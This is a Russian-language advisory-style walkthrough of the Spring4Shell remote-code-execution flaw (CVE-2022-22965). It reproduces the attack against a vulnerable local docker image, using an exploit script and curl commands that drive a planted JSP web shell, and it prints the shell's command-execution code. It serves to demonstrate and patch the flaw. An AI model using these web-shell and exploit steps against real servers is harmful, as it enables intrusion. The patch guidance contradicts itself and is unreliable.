
Spring4Shell — удалённое выполнение кода в Spring Core — CVE-2022-22965
Вслед за Spring Cloud, 29 марта, в Интернете разразилась ещё одна крупная уязвимость Spring: Spring Core RCE
31 марта Spring выпустил новые версии, которые исправляют уязвимость. См. раздел Исправление.
31 марта уязвимости наконец был присвоен номер CVE с оценкой CVSS 9.8 (КРИТИЧЕСКИЙ)
Эксплойт очень прост в использовании, поэтому уязвимость получила столь высокую оценку CVSS 9.8.
Чтобы проверить уязвимость, вы можете сделать следующее.
Запустите уязвимый docker-образ Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
Это привязывает уязвимый Spring к адресу localhost:8082.
Проверьте, что образ запущен корректно, с помощью curl
curl http://localhost:8082
Должен быть возвращён ответ ok.
Теперь эксплуатируем уязвимый образ!
python3 exp.py --url http://localhost:8082
Должен быть возвращён ответ The vulnerability exists .....
Теперь вы можете эксплуатировать уязвимость с помощью curl
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
На данный момент эксплойт загружен: exp.py


Spring теперь выпустил новые версии, которые устраняют данную уязвимость CVE. См. объявление Spring.
Коммит, исправивший уязвимость
На данный момент Spring ещё не выпустил официальный патч, поэтому в качестве временного решения рекомендуется понизить версию jdk.